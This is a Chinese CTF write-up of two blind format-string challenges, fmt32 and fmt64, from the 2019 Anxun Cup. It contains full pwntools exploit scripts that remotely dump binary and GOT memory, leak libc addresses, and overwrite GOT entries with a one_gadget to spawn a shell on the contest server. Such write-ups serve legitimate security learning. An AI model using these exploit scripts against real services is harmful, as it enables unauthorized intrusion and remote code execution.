【Pwn】2019安洵杯線上賽 fmt32 && fmt64

出題人好像比較喜歡blind pwn,5道pwn題裏有3個,由於時間關係來不及看rop64了(我太菜)。

1.fmt32

只給了ip&port,沒有附件猜測是blind pwn,根據題目名字,猜想有格式化字符串漏洞,試了一下發現是一個循環(畢竟是復讀機),每次都可以利用格式化字符串漏洞,於是首先想法是先將內存dump下來再分析,如果32位程序沒開pie保護,程序首地址爲0x8048000。

def leak(addr):
    payload = "%10$s.TMP" + p32(addr)
    io.sendline(payload)
    print "leaking:", hex(addr)
    io.recvuntil('Repeater:')
    resp = io.recvuntil(".TMP")
    ret = resp[:-4:]
    print ret, len(ret)
    remain = io.recvrepeat(0.2)
    return ret

start_addr = 0x8048000
#leak(0x8048000)
text_seg = ''
try:
    while True:
        ret = leak(start_addr)
        text_seg += ret
        start_addr += len(ret)
        if start_addr>=0x8048b00:
            break
        if len(ret) == 0:
            start_addr += 1
            text_seg += '\x00'
except Exception as e:
    print e

print '[+]', len(text_seg)
with open('dump_bin', 'wb') as f:
    f.write(text_seg)

代碼段差不多到0x8048b00就結束了,跑完之後放到ida中,找到代碼段,下面應該是main函數,根據遠程服務器的返回以及流程猜測對應函數吧。

seg000:08048605                 push    ebp
seg000:08048606                 mov     ebp, esp
seg000:08048608                 push    ecx
seg000:08048609                 sub     esp, 244h
seg000:0804860F                 mov     eax, large gs:14h
seg000:08048615                 mov     [ebp-0Ch], eax
seg000:08048618                 xor     eax, eax
seg000:0804861A                 mov     eax, ds:804A064h
seg000:0804861F                 sub     esp, 8
seg000:08048622                 push    0
seg000:08048624                 push    eax
seg000:08048625                 call    sub_8048450
seg000:0804862A                 add     esp, 10h
seg000:0804862D                 mov     eax, ds:804A060h
seg000:08048632                 sub     esp, 8
seg000:08048635                 push    0
seg000:08048637                 push    eax
seg000:08048638                 call    sub_8048450
seg000:0804863D                 add     esp, 10h
seg000:08048640                 mov     eax, ds:804A040h
seg000:08048645                 sub     esp, 8
seg000:08048648                 push    0
seg000:0804864A                 push    eax
seg000:0804864B                 call    sub_8048450
seg000:08048650                 add     esp, 10h
seg000:08048653                 sub     esp, 0Ch
seg000:08048656                 push    80487E0h
seg000:0804865B                 call    sub_8048490
seg000:08048660                 add     esp, 10h
seg000:08048663                 sub     esp, 0Ch
seg000:08048666                 push    804885Ch
seg000:0804866B                 call    sub_8048490
seg000:08048670                 add     esp, 10h
seg000:08048673                 mov     dword ptr [ebp-240h], 0
seg000:0804867D
seg000:0804867D loc_804867D: 							;循環
seg000:0804867D                 sub     esp, 0Ch
seg000:08048680                 push    3
seg000:08048682                 call    sub_8048480      ;目測alarm
seg000:08048687                 add     esp, 10h
seg000:0804868A                 sub     esp, 4
seg000:0804868D                 push    101h
seg000:08048692                 push    0
seg000:08048694                 lea     eax, [ebp-239h]
seg000:0804869A                 push    eax                        
seg000:0804869B                 call    sub_80484D0      ;目測memset
seg000:080486A0                 add     esp, 10h
seg000:080486A3                 sub     esp, 4
seg000:080486A6                 push    12Ch
seg000:080486AB                 push    0
seg000:080486AD                 lea     eax, [ebp-138h]
seg000:080486B3                 push    eax
seg000:080486B4                 call    sub_80484D0       ;memset,初始化的兩個緩衝區     
seg000:080486B9                 add     esp, 10h
seg000:080486BC                 sub     esp, 0Ch
seg000:080486BF                 push    804887Dh          ;這裏push的地址,是數據段的字符串,應該是要打印東西了,猜測是puts函數。
seg000:080486C4                 call    sub_8048470
seg000:080486C9                 add     esp, 10h
seg000:080486CC                 sub     esp, 4
seg000:080486CF                 push    100h
seg000:080486D4                 lea     eax, [ebp-239h]
seg000:080486DA                 push    eax
seg000:080486DB                 push    0
seg000:080486DD                 call    sub_8048460    ;這裏看入棧參數應該是read
seg000:080486E2                 add     esp, 10h
seg000:080486E5                 sub     esp, 4
seg000:080486E8                 lea     eax, [ebp-239h]
seg000:080486EE                 push    eax
seg000:080486EF                 push    804888Dh
seg000:080486F4                 lea     eax, [ebp-138h]
seg000:080486FA                 push    eax
seg000:080486FB                 call    sub_80484E0   ;這邊兩個緩衝區都作爲參數,並且有格式化字符,猜測是sprintf
seg000:08048700                 add     esp, 10h
seg000:08048703                 sub     esp, 0Ch
seg000:08048706                 lea     eax, [ebp-138h]
seg000:0804870C                 push    eax
seg000:0804870D                 call    sub_80484B0  ;下面將eax和10eh進行比較,猜測這個是strlen
seg000:08048712                 add     esp, 10h
seg000:08048715                 mov     [ebp-240h], eax
seg000:0804871B                 cmp     dword ptr [ebp-240h], 10Eh
seg000:08048725                 jbe     short loc_8048741
seg000:08048727                 sub     esp, 0Ch     ;這邊是輸入的字符串超了限制。
seg000:0804872A                 push    804889Ch
seg000:0804872F                 call    sub_8048470
seg000:08048734                 add     esp, 10h
seg000:08048737                 sub     esp, 0Ch
seg000:0804873A                 push    0
seg000:0804873C                 call    sub_80484A0  ;exit(0)
seg000:08048741
seg000:08048741 loc_8048741:                            ; CODE XREF: seg000:08048725j
seg000:08048741                 sub     esp, 0Ch
seg000:08048744                 lea     eax, [ebp-138h]
seg000:0804874A                 push    eax
seg000:0804874B                 call    sub_8048470  ;puts
seg000:08048750                 add     esp, 10h
seg000:08048753                 jmp     loc_804867D   ;下一個循環

程序邏輯搞清之後,跟入sprint函數,進入到dump下來的plt表裏。
在這裏插入圖片描述那麼所有的要素就已經齊了,sprint_plt=0x80484e0;sprint_got=0x804a030。先讀libc,再進行got_hijack就可以了。下面是完整的exp。

from pwn import *

io=remote('47.108.135.45','20075')

def leak(addr):
    payload = "%10$s.TMP" + p32(addr)
    io.sendline(payload)
    print "leaking:", hex(addr)
    io.recvuntil('Repeater:')
    resp = io.recvuntil(".TMP")
    ret = resp[:-4:]
    print ret, len(ret)
    remain = io.recvrepeat(0.2)
    return ret

'''
start_addr = 0x8048000
leak(0x8048000)

text_seg = ''
try:
    while True:
        ret = leak(start_addr)
        text_seg += ret
        start_addr += len(ret)
        if start_addr>=0x8048b00:
            break
        if len(ret) == 0:
            start_addr += 1
            text_seg += '\x00'
except Exception as e:
    print e

print '[+]', len(text_seg)
with open('dump_bin', 'wb') as fout:
    fout.write(text_seg)
'''

puts_got=0x804a014
sprint_got=0x804a030

payload = "%10$s.TMP" + p32(sprint_got)
io.sendline(payload)
io.recvuntil('Repeater:')
sprint_add=u32(io.recv(4))
print(hex(sprint_add))

libc_base=sprint_add-0x049080
print(hex(libc_base))
one_gadget=libc_base+0x3a80c
a=one_gadget%0x10000&0xffff
print(hex(a))
b=(one_gadget/0x10000)%0x10000&0xffff
print(hex(b))
pause()
payload = '%' + str(a-9) + 'c' +'%16$hn'
payload += '%' + str(b - a) + 'c' +'%17$hn'
payload = payload.ljust(33, 'A')+p32(puts_got)+p32(puts_got+2)
io.sendline(payload)
io.interactive()

2.fmt64

這個題同樣也是格式化字符串漏洞的盲pwn,和上題的區別是64位的程序,這題我也嘗試了dump代碼段,64位程序,程序首地址爲0x400000,於是dump到0x400b00,雖然內存成功dump下來了,但是放到ida反彙編失敗了,原因未知(我太菜了),由於當時比賽快結束了(最後5分鐘做完交上的),所以就想程序邏輯應該大概和32位類似,還是要想辦法知道got表的未知,題目同時還提供了一個附件。

$ readelf -s stilltest

Symbol table '.dynsym' contains 15 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.2.5 (2)
     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strlen@GLIBC_2.2.5 (2)
     3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND setbuf@GLIBC_2.2.5 (2)
     4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND printf@GLIBC_2.2.5 (2)
     5: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND memset@GLIBC_2.2.5 (2)
     6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND alarm@GLIBC_2.2.5 (2)
     7: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.2.5 (2)
     8: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.2.5 (2)
     9: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
    10: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND sprintf@GLIBC_2.2.5 (2)
    11: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND exit@GLIBC_2.2.5 (2)
    12: 0000000000601080     8 OBJECT  GLOBAL DEFAULT   26 stdout@GLIBC_2.2.5 (2)
    13: 0000000000601090     8 OBJECT  GLOBAL DEFAULT   26 stdin@GLIBC_2.2.5 (2)
    14: 00000000006010a0     8 OBJECT  GLOBAL DEFAULT   26 stderr@GLIBC_2.2.5 (2)

可以發現提供了輸入輸出的位置,這幾個一般是在bss段上的,由於bss段就在got表附近,於是想把這一塊位置都dump下來。

def leak(addr):
    payload = "%9$s.TMP" + p64(addr)
    io.sendline(payload)
    print "leaking:", hex(addr)
    io.recvuntil('Repeater:')
    resp = io.recvuntil(".TMP")
    ret = resp[:-4:]
    print ret, len(ret)
    remain = io.recvrepeat(0.2)
    return ret
 
start_addr = 0x601000  
text_seg = ''
try:
    while True:
        ret = leak(start_addr)
        text_seg += ret
        start_addr += len(ret)
        if start_addr>=0x6010a0:
            break
        if len(ret) == 0:
            start_addr += 1
            text_seg += '\x00'
except Exception as e:
    print e

print '[+]', len(text_seg)
with open('dump_got', 'wb') as f:
    f.write(text_seg)
0000000000601000  0000000000600E28 00007F6231568168 
0000000000601010  00007F6231358EE0 00007F6230FE6690 
0000000000601020  00007F6231002720 00007F6230FED6B0 
0000000000601030  00007F6230FCC800 00007F62310E9970 
0000000000601040  00007F6231043200 00007F623106E250 
0000000000601050  00007F6230F97740 00007F6230FCC940 
0000000000601060  0000000000400706 0000000000000000 
0000000000601070  0000000000000000 0000000000000000 
0000000000601080  00007F623133C620 0000000000000000 
0000000000601090  00007F623133B8E0 0000000000000000 
00000000006010A0      7F623133C540                  

很明顯是got表了,經過反覆測試(利用格式化字符串修改got表,會導致該函數壞掉,根據服務壞掉的位置猜測函數對應)最終確定0x601048這個函數對應的是read函數(大膽猜測,小心求證),嘗試得到libc基址,然後隨便覆蓋個下次會執行到的函數,就可以getshell了,完整exp如下。

from pwn import *
import binascii

io=remote('47.108.135.45','20075')
libc=ELF('./libc-2.23.so')

def leak(addr):
    payload = "%9$s.TMP" + p64(addr)
    io.sendline(payload)
    print "leaking:", hex(addr)
    io.recvuntil('Repeater:')
    resp = io.recvuntil(".TMP")
    ret = resp[:-4:]
    print ret, len(ret)
    remain = io.recvrepeat(0.2)
    return ret
#leak(0x400000)
print('puts:'+hex(libc.sym['puts']))
print('strlen:'+hex(libc.sym['strlen']))
print('printf:'+hex(libc.sym['printf']))
print('read:'+hex(libc.sym['read']))
print('memset:'+hex(libc.sym['memset']))
print('setbuf:'+hex(libc.sym['setbuf']))
print('alarm:'+hex(libc.sym['alarm']))

#start_addr = 0x601000
#leak(0x06010a0)
'''
text_seg = ''
try:
    while True:
        ret = leak(start_addr)
        text_seg += ret
        start_addr += len(ret)
        if start_addr>=0x6010a0:
            break
        if len(ret) == 0:
            start_addr += 1
            text_seg += '\x00'
except Exception as e:
    print e

print '[+]', len(text_seg)
with open('dump_got', 'wb') as fout:
    fout.write(text_seg)

'''
read_got=0x601048
payload = "%9$s.TMP" + p64(read_got)
io.sendline(payload)
io.recvuntil('Repeater:')
read_add=u64(io.recv(6).ljust(8,'\x00'))
print(hex(read_add))


libc_base=read_add-0x0f7250
print(hex(libc_base))
one_gadget=libc_base+0xf1147
print(hex(one_gadget))

a=one_gadget%0x10000&0xffff
print(hex(a))
b=(one_gadget/0x10000)%0x10000&0xffff
print(hex(b))
pause()
payload = '%' + str(a-9) + 'c' +'%12$hn'
payload += '%' + str(b - a) + 'c' +'%13$hn'
payload = payload.ljust(32, 'A')+p64(0x601058)+p64(0x601058+2)
io.sendline(payload)
'''
io.recvuntil('QQQ')
edit=u64(io.recv(6).ljust(8,'\x00'))
print(hex(edit))
#io.sendline('/bin/sh\x00')
'''
#io.sendline('AAAAAAAA'+'%8$p')
io.interactive()

3.總結

blind pwn最早好像是出現在Lctf上的,還是挺有意思的,畢竟在真實環境下不一定能獲得遠程服務的二進制代碼,做這類題目想辦法利用程序的任意地址讀(緩衝區溢出漏洞,格式化字符串漏洞)來進行信息泄露,比較重要的信息就是,代碼段(理解解程序邏輯),plt段,以及got表了,知道了信息之後就正常利用就行了。有些部分可能需要大膽猜測以及經驗,推理邏輯可能沒有那麼完整(也可能是我太菜了),最後這個安洵杯,時間對一個人做的還是感覺有些短了(Pwn都沒看完)。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章